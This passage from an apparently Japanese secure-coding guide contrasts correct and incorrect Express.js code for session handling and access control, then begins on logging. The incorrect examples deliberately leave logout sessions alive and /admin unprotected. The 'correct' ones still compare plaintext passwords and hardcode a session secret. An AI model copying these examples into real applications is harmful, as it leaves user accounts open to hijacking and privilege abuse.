if<\/span> (!user || user.<span class=\"hljs-property\">password<\/span> !== password) { \r\n<span class=\"hljs-keyword\">  return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">401<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'\u30e6\u30fc\u30b6\u30fc\u540d\u3001\u307e\u305f\u306f\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u6b63\u3057\u304f\u5165\u529b\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u3002'<\/span> }); \r\n } \r\n \r\n req.<span class=\"hljs-property\">session<\/span>.<span class=\"hljs-property\">username<\/span> = username; \r\n<span class=\"hljs-keyword\"> return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">message<\/span>: <span class=\"hljs-string\">'\u30ed\u30b0\u30a4\u30f3\u304c\u6210\u529f\u3057\u307e\u3057\u305f\u3002'<\/span> }); \r\n}); \r\n  \r\n<span class=\"hljs-comment\">\/\/ \u30ed\u30b0\u30a4\u30f3\u3057\u305f\u5f8c\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u60c5\u5831\u3092\u8868\u793a\u3059\u308b<\/span>\r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/profile'<\/span>, isAuthenticated, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\"> const<\/span> username = req.<span class=\"hljs-property\">session<\/span>.<span class=\"hljs-property\">username<\/span>; \r\n<span class=\"hljs-keyword\"> return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json<\/span>({<span class=\"hljs-attr\">message<\/span>: `\u500b\u4eba\u60c5\u5831\uff1a<span class=\"hljs-string\">${username}`<\/span>}); \r\n}); \r\n \r\n<span class=\"hljs-comment\">\/\/ \u30ed\u30b0\u30a2\u30a6\u30c8<\/span> \r\napp.<span class=\"hljs-title function_\">post<\/span>(<span class=\"hljs-string\">'\/logout'<\/span>, isAuthenticated, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n req.<span class=\"hljs-property\">session<\/span>.<span class=\"hljs-title function_\">destroy<\/span>(); \r\n<span class=\"hljs-keyword\"> return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">message<\/span>: <span class=\"hljs-string\">'\u30ed\u30b0\u30a2\u30a6\u30c8\u304c\u6210\u529f\u3057\u307e\u3057\u305f\u3002'<\/span> }); \r\n});\r\n \r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p align=\"left\">\u4e0a\u8a18\u306e\u4f8b\u3067\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u304c\u30ed\u30b0\u30a4\u30f3\u306b\u6210\u529f\u3057\u305f\u3089\u3001\u30e6\u30fc\u30b6\u30fc\u540d\u3092\u30bb\u30c3\u30b7\u30e7\u30f3\u306b\u683c\u7d0d\u3057\u3066\u3001\u30bb\u30c3\u30b7\u30e7\u30f3\u306e\u5207\u308c\u6642\u9593\u306f\u4e00\u65e5\u9593\u3068\u8a2d\u5b9a\u3057\u307e\u3059\u3002 \/profile\u3068\/logout\u30eb\u30fc\u30c8\u306f\u30ed\u30b0\u30a4\u30f3\u3057\u3066\u3044\u308b\u30e6\u30fc\u30b6\u30fc\u306e\u307f\u30a2\u30af\u30bb\u30b9\u3055\u305b\u3066\u3001\u30ed\u30b0\u30a4\u30f3\u3057\u3066\u3044\u308b\u72b6\u614b\u3092\u78ba\u8a8d\u3059\u308b\u305f\u3081\u306b\u3001\u30bb\u30c3\u30b7\u30e7\u30f3\u306e\u60c5\u5831\u3092\u691c\u8a3c\u3057\u307e\u3059\u3002\u30e6\u30fc\u30b6\u30fc\u304c\u30ed\u30b0\u30a2\u30a6\u30c8\u3057\u305f\u3089\u3001\u3053\u306e\u30bb\u30c3\u30b7\u30e7\u30f3\u3092\u7d42\u4e86\u3057\u3066\u3001\u30e6\u30fc\u30b6\u30fc\u304c\u518d\u30ed\u30b0\u30a4\u30f3\u3059\u308b\u3068\u304d\u306b\u3001\u307e\u305f\u65b0\u3057\u3044\u30bb\u30c3\u30b7\u30e7\u30f3\u3092\u751f\u6210\u3057\u307e\u3059\u3002<\/p>\n<p align=\"left\"><strong>\u6b63\u3057\u304f\u306a\u3044\u30b3\u30fc\u30c9<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> session = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express-session'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n\r\n<span class=\"hljs-comment\">\/\/ \u30df\u30c9\u30eb\u30a6\u30a7\u30a2\u30bb\u30c3\u30b7\u30e7\u30f3\u3092\u5229\u7528\u3059\u308b <\/span> \r\napp.<span class=\"hljs-title function_\">use<\/span>(<span class=\"hljs-title function_\">session<\/span>({ \r\n<span class=\"hljs-attr\"> secret<\/span>: <span class=\"hljs-string\">'secretKey'<\/span>, \r\n<span class=\"hljs-attr\"> resave<\/span>: <span class=\"hljs-literal\">false<\/span>, \r\n<span class=\"hljs-attr\"> saveUninitialized<\/span>: <span class=\"hljs-literal\">false<\/span><span class=\"hljs-literal\">,<\/span>\r\n})); \r\n\r\napp.<span class=\"hljs-title function_\">use<\/span>(express.<span class=\"hljs-title function_\">json<\/span>()); \r\n\r\n<span class=\"hljs-comment\">\/\/ \u305f\u3068\u3048\u3001\u3053\u3061\u3089\u306f\u30e6\u30fc\u30b6\u30fc\u306e\u60c5\u5831\u3092\u683c\u7d0d\u3059\u308b\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9<\/span>\r\n<span class=\"hljs-keyword\">const<\/span> users = [ { <span class=\"hljs-attr\">username<\/span>: <span class=\"hljs-string\">'test'<\/span>, <span class=\"hljs-attr\">password<\/span>: <span class=\"hljs-string\">'password_hash'<\/span> } ]; \r\n\r\n<span class=\"hljs-comment\">\/\/ \u30e6\u30fc\u30b6\u30fc\u304c\u30ed\u30b0\u30a4\u30f3\u3057\u3066\u3044\u308b\u3053\u3068\u3092\u78ba\u8a8d\u3059\u308b<\/span> \r\n<span class=\"hljs-keyword\">function<\/span> <span class=\"hljs-title function_\">isAuthenticated<\/span>(<span class=\"hljs-params\">req, res, next<\/span>) { \r\n<span class=\"hljs-keyword\"> if<\/span> (req.<span class=\"hljs-property\">session<\/span> &amp;&amp; req.<span class=\"hljs-property\">session<\/span>.<span class=\"hljs-property\">username<\/span>) { \r\n<span class=\"hljs-keyword\">  return<\/span> <span class=\"hljs-title function_\">next<\/span>(); \r\n }\r\n<span class=\"hljs-keyword\"> return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">401<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'\u7d9a\u884c\u3059\u308b\u306b\u306f\u3001\u30ed\u30b0\u30a4\u30f3\u3057\u3066\u304f\u3060\u3055\u3044\u3002'<\/span> }); \r\n} \r\n\r\n<span class=\"hljs-comment\">\/\/ \u30ed\u30b0\u30a4\u30f3<\/span> \r\napp.<span class=\"hljs-title function_\">post<\/span>(<span class=\"hljs-string\">'\/login'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\"> const<\/span> { username, password } = req.<span class=\"hljs-property\">body<\/span>; \r\n<span class=\"hljs-keyword\"> const<\/span> user = users.<span class=\"hljs-title function_\">find<\/span>(<span class=\"hljs-function\"><span class=\"hljs-params\">user<\/span> =&gt;<\/span> user.<span class=\"hljs-property\">username<\/span> === username); \r\n<span class=\"hljs-keyword\"> if<\/span> (!user || user.<span class=\"hljs-property\">password<\/span> !== password) { \r\n<span class=\"hljs-keyword\">  return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">401<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'\u30e6\u30fc\u30b6\u30fc\u540d\u3001\u307e\u305f\u306f\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u6b63\u3057\u304f\u5165\u529b\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u3002'<\/span> }); \r\n } \r\n\r\n req.<span class=\"hljs-property\">session<\/span>.<span class=\"hljs-property\">username<\/span> = username; \r\n<span class=\"hljs-keyword\"> return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">message<\/span>: <span class=\"hljs-string\">'\u30ed\u30b0\u30a4\u30f3\u304c\u6210\u529f\u3057\u307e\u3057\u305f'<\/span> }); \r\n}); \r\n\r\n<span class=\"hljs-comment\">\/\/ \u30ed\u30b0\u30a4\u30f3\u3057\u305f\u5f8c\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u60c5\u5831\u3092\u8868\u793a\u3059\u308b<\/span> \r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/profile'<\/span>, isAuthenticated, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\"> const<\/span> username = req.<span class=\"hljs-property\">session<\/span>.<span class=\"hljs-property\">username<\/span>; \r\n<span class=\"hljs-keyword\"> return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json<\/span>({<span class=\"hljs-attr\">message<\/span>: `<span class=\"hljs-string\">Th\u00f4ng tin c\u00e1 nh\u00e2n: ${username}`<\/span>}); \r\n}); \r\n\r\n<span class=\"hljs-comment\">\/\/ \u30ed\u30b0\u30a2\u30a6\u30c8<\/span>\r\napp.<span class=\"hljs-title function_\">post<\/span>(<span class=\"hljs-string\">'\/logout'<\/span>, isAuthenticated, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> {  \r\n<span class=\"hljs-keyword\"> return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">message<\/span>: <span class=\"hljs-string\">'\u30ed\u30b0\u30a2\u30a6\u30c8\u304c\u6210\u529f\u3057\u307e\u3057\u305f\u3002'<\/span> }); \r\n});\r\n\r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p align=\"left\">\u4e0a\u8a18\u306e\u4f8b\u3067\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u304c\u30ed\u30b0\u30a4\u30f3\u306b\u6210\u529f\u3057\u305f\u3089\u3001\u30e6\u30fc\u30b6\u30fc\u540d\u3092\u30bb\u30c3\u30b7\u30e7\u30f3\u306b\u683c\u7d0d\u3057\u307e\u3059\u304c\u3001\u6709\u52b9\u671f\u9650\u3092\u8a2d\u5b9a\u3057\u307e\u305b\u3093\u3002\u30e6\u30fc\u30b6\u30fc\u304c\u30ed\u30b0\u30a2\u30a6\u30c8\u3057\u305f\u3068\u3057\u3066\u3082\u3001\u30bb\u30c3\u30b7\u30e7\u30f3\u304c\u30ad\u30e3\u30f3\u30bb\u30eb\u3055\u308c\u306a\u304f\u3001\u305d\u306e\u307e\u307e\u5b58\u5728\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<h3 align=\"left\">\u30a2\u30af\u30bb\u30b9\u5236\u5fa1<\/h3>\n<p>\u30a2\u30ab\u30a6\u30f3\u30c8\u306e\u6a29\u9650\u306b\u8a72\u5f53\u306a\u30a2\u30af\u30bb\u30b9\u6a29\u9650\u3092\u6b63\u3057\u304f\u4ed8\u4e0e\u3067\u304d\u308b\u3088\u3046\u306b\u3001HTTP\u30ea\u30af\u30a8\u30b9\u30c8\u3084Ajax\u306a\u3069\u3067\u9001\u4fe1\u3055\u308c\u305f\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u542b\u3081\u3001\u3059\u3079\u3066\u306e\u9001\u4fe1\u3055\u308c\u305f\u30ea\u30af\u30a8\u30b9\u30c8\u306b\u5bfe\u3057\u3066\u3001\u30a2\u30af\u30bb\u30b9\u6a29\u9650\u306e\u691c\u8a3c\u3092\u5b9f\u884c\u3057\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u305b\u3093\u3002\u30a2\u30af\u30bb\u30b9\u6a29\u9650\u304c\u306a\u3044\u6750\u6599\u3078\u306e\u30a2\u30af\u30bb\u30b9\u3092\u907f\u3051\u307e\u3059\u3002<\/p>\n<p>\u30a6\u30a7\u30d6\u30b5\u30a4\u30c8\u306e\u6a5f\u80fd\u3092\u5b9f\u884c\u3057\u3066\u3044\u308b\u30b3\u30fc\u30c9\u306e\u30ed\u30b8\u30c3\u30af\u306b\u5f71\u97ff\u3055\u308c\u306a\u304f\u3001\u7ba1\u7406\u3057\u3084\u3059\u304f\u306a\u308b\u3088\u3046\u306b\u3001\u4e00\u5143\u7ba1\u7406\u3092\u5b9f\u884c\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<p>\u91cd\u8981\u306a\u6750\u6599\u3078\u306e\u30a2\u30af\u30bb\u30b9\u306f\u6a29\u9650\u304c\u4ed8\u4e0e\u3055\u308c\u3066\u3044\u308b\u30e6\u30fc\u30b6\u306e\u307f\u30a2\u30af\u30bb\u30b9\u3067\u304d\u308b\u3068\u30a2\u30af\u30bb\u30b9\u5236\u5fa1\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<p>\u30a2\u30d7\u30ea\u306f\u30a2\u30af\u30bb\u30b9\u6a29\u9650\u653f\u7b56\u306b\u3064\u3044\u3066\u306e\u660e\u7d30\u306a\u8cc7\u6599\u3092\u6301\u305f\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u3059\u3002<\/p>\n<p>\u30a2\u30af\u30bb\u30b9\u6a29\u9650\u5909\u66f4\u3001\u3082\u3057\u304f\u306f\u30a2\u30af\u30bb\u30b9\u6a29\u9650\u306b\u95a2\u3059\u308b\u696d\u52d9\u306e\u30ed\u30b8\u30c3\u30af\u5909\u66f4\u304c\u767a\u751f\u3057\u305f\u5834\u5408\u3001\u3059\u3050\u306b\u30a2\u30ab\u30a6\u30f3\u30c8\u3092\u7121\u52b9\u5316\u3057\u3066\u3001\u30ed\u30b0\u30a4\u30f3\u30bb\u30c3\u30b7\u30e7\u30f3\u3092\u7d42\u4e86\u3057\u307e\u3059\u3002\u30e6\u30fc\u30b6\u30fc\u304c\u518d\u5ea6\u30ed\u30b0\u30a4\u30f3\u3057\u306a\u3051\u308c\u3070\u3001\u7d9a\u884c\u3067\u304d\u307e\u305b\u3093\u3002<\/p>\n<p>\u30a2\u30ab\u30a6\u30f3\u30c8\u306f\u3057\u3070\u3089\u304f\u4f7f\u3063\u3066\u3044\u306a\u3044\u3068\u3001\u4e00\u6642\u7684\u306b\u30a2\u30ab\u30a6\u30f3\u30c8\u3092\u7121\u52b9\u5316\u3059\u308b\u4ed5\u7d44\u307f\u3092\u9069\u7528\u3057\u307e\u3059\u3002<\/p>\n<p>\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u5074\u3067\u30e6\u30fc\u30b6\u30fc\u306e\u30c7\u30fc\u30bf\u3092\u683c\u7d0d\u3057\u306a\u3051\u3089\u3070\u306a\u3089\u306a\u3044\u5834\u5408\u3001\u30c7\u30fc\u30bf\u3092\u6697\u53f7\u5316\u3057\u3066\u3001\u30b5\u30fc\u30d0\u30fc\u3067\u6574\u5408\u6027\u3092\u691c\u8a3c\u3057\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u305b\u3093\u3002<\/p>\n<p>\u6b63\u3057\u3044\u5148\u306b\u6a29\u9650\u3092\u4ed8\u4e0e\u3057\u307e\u3059\u3002\u30a2\u30af\u30bb\u30b9\u6a29\u9650\u3092\u6301\u3063\u3066\u3044\u308b\u30e6\u30fc\u30b6\u30fc\u306e\u307f\u3001\u30b7\u30b9\u30c6\u30e0\u306e\u7279\u5b9a\u306e\u6750\u6599\u3078\u30a2\u30af\u30bb\u30b9\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>\u4ee5\u4e0b\u306f\u3001Express.js \u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3092\u4f7f\u7528\u3057\u305f Nodejs \u30b3\u30fc\u30c9\u3067\u3059\u3002<\/p>\n<p><strong>\u6b63\u3057\u3044\u30b3\u30fc\u30c9<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n \r\n<span class=\"hljs-comment\">\/\/ \u305f\u3068\u3048\u3001\u3053\u3061\u3089\u306f\u30e6\u30fc\u30b6\u30fc\u306e\u60c5\u5831\u3092\u683c\u7d0d\u3057\u3066\u3044\u308b\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9<\/span>\r\n<span class=\"hljs-keyword\">const<\/span> users = [ \r\n  { <span class=\"hljs-attr\">username<\/span>: <span class=\"hljs-string\">'user1'<\/span>, <span class=\"hljs-attr\">role<\/span>: <span class=\"hljs-string\">'admin'<\/span> }, \r\n  { <span class=\"hljs-attr\">username<\/span>: <span class=\"hljs-string\">'user2'<\/span>, <span class=\"hljs-attr\">role<\/span>: <span class=\"hljs-string\">'user'<\/span> } \r\n]; \r\n \r\n<span class=\"hljs-comment\">\/\/ \u30e6\u30fc\u30b6\u30fc\u306e\u6a29\u9650\u3092\u691c\u8a3c\u3059\u308b\u30df\u30c9\u30eb\u30a6\u30a7\u30a2<\/span> \r\n<span class=\"hljs-keyword\">function<\/span> <span class=\"hljs-title function_\">checkRole<\/span>(<span class=\"hljs-params\">role<\/span>) { \r\n<span class=\"hljs-keyword\">  return<\/span> <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res, next<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\">    const<\/span> user = users.<span class=\"hljs-title function_\">find<\/span>(<span class=\"hljs-function\"><span class=\"hljs-params\">user<\/span> =&gt;<\/span> user.<span class=\"hljs-property\">username<\/span> === req.<span class=\"hljs-property\">session<\/span>.<span class=\"hljs-property\">username<\/span>); \r\n<span class=\"hljs-keyword\">     \r\n    if<\/span> (user &amp;&amp; user.<span class=\"hljs-property\">role<\/span> === role) { \r\n<span class=\"hljs-keyword\">      return<\/span> <span class=\"hljs-title function_\">next<\/span>(); \r\n    } \r\n<span class=\"hljs-keyword\">    return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">403<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'\u30a2\u30af\u30bb\u30b9\u6a29\u9650\u304c\u3042\u308a\u307e\u305b\u3093\u3002'<\/span> }); \r\n  }; \r\n} \r\n \r\napp.<span class=\"hljs-title function_\">use<\/span>(express.<span class=\"hljs-title function_\">json<\/span>()); \r\n \r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/profile'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\">  const<\/span> username = req.<span class=\"hljs-property\">session<\/span>.<span class=\"hljs-property\">username<\/span>; \r\n<span class=\"hljs-keyword\">  return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json({message: `\u500b\u4eba\u60c5\u5831\uff1a ${username}`});<\/span>\r\n}); \r\n \r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/admin'<\/span>, <span class=\"hljs-title function_\">checkRole<\/span>(<span class=\"hljs-string\">'admin'<\/span>), <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\">  return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">message<\/span>: <span class=\"hljs-string\">'\u7ba1\u7406\u30da\u30fc\u30b8'<\/span> }); \r\n});\r\n \r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>\u4e0a\u8a18\u306e\u4f8b\u3067\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u6a29\u9650\u3092\u691c\u8a3c\u3059\u308b\u305f\u3081\u306b\u3001checkRole\u30df\u30c9\u30eb\u30a6\u30a7\u30a2\u3092\u4f7f\u3044\u307e\u3059\u3002 \/profile \u30eb\u30fc\u30c8\u306f\u3059\u3079\u3066\u306e\u30e6\u30fc\u30b6\u30fc\u3092\u30a2\u30af\u30bb\u30b9\u3055\u305b\u307e\u3059\u3002\/admin\u30eb\u30fc\u30c8\u306f\u7ba1\u7406\u8005\u6a29\u9650\u3092\u6301\u3063\u3066\u3044\u308b\u30e6\u30fc\u30b6\u30fc\u306e\u307f\u7ba1\u7406\u30da\u30fc\u30b8\u3078\u30a2\u30af\u30bb\u30b9\u3055\u305b\u307e\u3059\u3002\u30a2\u30af\u30bb\u30b9\u6a29\u9650\u304c\u306a\u3051\u308c\u3070\u3001403 (Forbidden)\u3068\u3044\u3046\u30b9\u30c6\u30fc\u30bf\u30b9\u30b3\u30fc\u30c9\u304c\u8fd4\u5374\u3055\u308c\u307e\u3059\u3002<\/p>\n<p><strong>\u6b63\u3057\u304f\u306a\u3044\u30b3\u30fc\u30c9<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n \r\n<span class=\"hljs-comment\">\/\/ \u305f\u3068\u3048\u3001\u3053\u3061\u3089\u306f\u30e6\u30fc\u30b6\u30fc\u306e\u60c5\u5831\u3092\u683c\u7d0d\u3057\u3066\u3044\u308b\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9<\/span>\r\n<span class=\"hljs-keyword\">const<\/span> users = [ \r\n  { <span class=\"hljs-attr\">username<\/span>: <span class=\"hljs-string\">'user1'<\/span>, <span class=\"hljs-attr\">role<\/span>: <span class=\"hljs-string\">'admin'<\/span> }, \r\n  { <span class=\"hljs-attr\">username<\/span>: <span class=\"hljs-string\">'user2'<\/span>, <span class=\"hljs-attr\">role<\/span>: <span class=\"hljs-string\">'user'<\/span> } \r\n]; \r\n \r\napp.<span class=\"hljs-title function_\">use<\/span>(express.<span class=\"hljs-title function_\">json<\/span>()); \r\n \r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/profile'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\"> const<\/span> username = req.<span class=\"hljs-property\">session<\/span>.<span class=\"hljs-property\">username<\/span>; \r\n<span class=\"hljs-keyword\"> return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json({message: `T\u500b\u4eba\u60c5\u5831\uff1a ${username}`});<\/span>\r\n}); \r\n \r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/admin'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\"> return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">message<\/span>: <span class=\"hljs-string\">'\u7ba1\u7406\u30da\u30fc\u30b8'<\/span> }); \r\n});\r\n \r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>\u4e0a\u8a18\u306e\u4f8b\u3067\u306f\u3001\/profile\u3068\/admin\u30eb\u30fc\u30c8\u3068\u3069\u3061\u3089\u3082\u6a29\u9650\u5236\u9650\u306a\u304f\u3001\u3059\u3079\u3066\u306e\u30e6\u30fc\u30b6\u30fc\u3092\u30a2\u30af\u30bb\u30b9\u3055\u305b\u307e\u3059\u3002\u3068\u3044\u3046\u3068\u3001\u4e00\u822c\u30e6\u30fc\u30b6\u3067\u3082\u7ba1\u7406\u30da\u30fc\u30b8\u3078\u30a2\u30af\u30bb\u30b9\u3067\u304d\u308b\u306e\u3067\u3001\u3068\u3066\u3082\u5371\u306a\u3044\u3067\u3059\u3002<\/p>\n<h3>\u30a8\u30e9\u30fc\u30cf\u30f3\u30c9\u30ea\u30f3\u30b0\u3068\u30ed\u30ae\u30f3\u30b0<\/h3>\n<p>\u30a6\u30a7\u30d6\u30b5\u30a4\u30c8\u3067\u30a8\u30e9\u30fc\u304c\u767a\u751f\u3057\u305f\u5834\u5408\u3001\u30a8\u30e9\u30fc\u30da\u30fc\u30b8\u306e\u5b9a\u7fa9\u3092\u884c\u3063\u3066\u8fd4\u5374\u3057\u3001\u5171\u901a\u30a8\u30e9\u30fc\u3092\u77e5\u3089\u305b\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u305b\u3093\u3002\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\u30c7\u30d5\u30a9\u30eb\u30c8\u30a8\u30e9\u30fc\u30da\u30fc\u30b8\u306f\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3084\u30d0\u30fc\u30b8\u30e7\u30f3\u306e\u60c5\u5831\u3092\u542b\u3081\u3066\u3044\u307e\u3059\u306e\u3067\u3001\u4f7f\u308f\u306a\u3044\u307b\u3046\u304c\u3044\u3044\u3067\u3059\u3002<\/p>\n<p>\u30ed\u30b0\u306f\u4ee5\u4e0b\u306e\u3088\u3046\u306b\u91cd\u8981\u306a\u30a4\u30d9\u30f3\u30c8\u3092\u3059\u3079\u3066\u8a18\u8f09\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<ol>\n<li>.\u5165\u529b\u5024\u306e\u5168\u3066\u306e\u30d0\u30ea\u30c7\u30fc\u30b7\u30e7\u30f3\u30a8\u30e9\u30fc<\/li>\n<li>\u5168\u3066\u306e\u4f8b\u5916\u30b1\u30fc\u30b9<\/li>\n<li>\u5168\u3066\u306e\u30a2\u30af\u30bb\u30b9\u5236\u5fa1\u306e\u30a8\u30e9\u30fc<\/li>\n<li>\u30d0\u30ea\u30c7\u30fc\u30b7\u30e7\u30f3\u30c1\u30a7\u30c3\u30af\u306e\u6642\u306e\u5168\u3066\u306e\u30b1\u30fc\u30b9\u3001\u7279\u306b\u306f\u5931\u6557\u3057\u305f\u30b1\u30fc\u30b9<\/li>\n<li>\u4f55\u5ea6\u3082\u30ed\u30b0\u30a4\u30f3\u3057\u3088\u3046\u3068\u3057\u305f\u30b1\u30fc\u30b9\u3001\u3082\u3057\u304f\u306f\u30bb\u30c3\u30b7\u30e7\u30f3\u306e\u6709\u52b9\u671f\u9650\u306b\u306a\u3063\u305f\u30b1\u30fc\u30b9<\/li>\n<li>\u5168\u3066\u306e\u7ba1\u7406\u6a5f\u80fd<\/li>\n<\/ol>\n<p>\u30ed\u30b0\u306b\u306f\u4f59\u8a08\u306a\u30b7\u30b9\u30c6\u30e0\u306e\u60c5\u5831\u3001\u30a2\u30d7\u30ea\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u60c5\u5831\u3001\u307e\u305f\u306f\u30e6\u30fc\u30b6\u30fc\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u306a\u3069\u306e\u6a5f\u5bc6\u60c5\u5831\u3092\u8a18\u8f09\u3057\u306a\u3044\u3053\u3068\u3067\u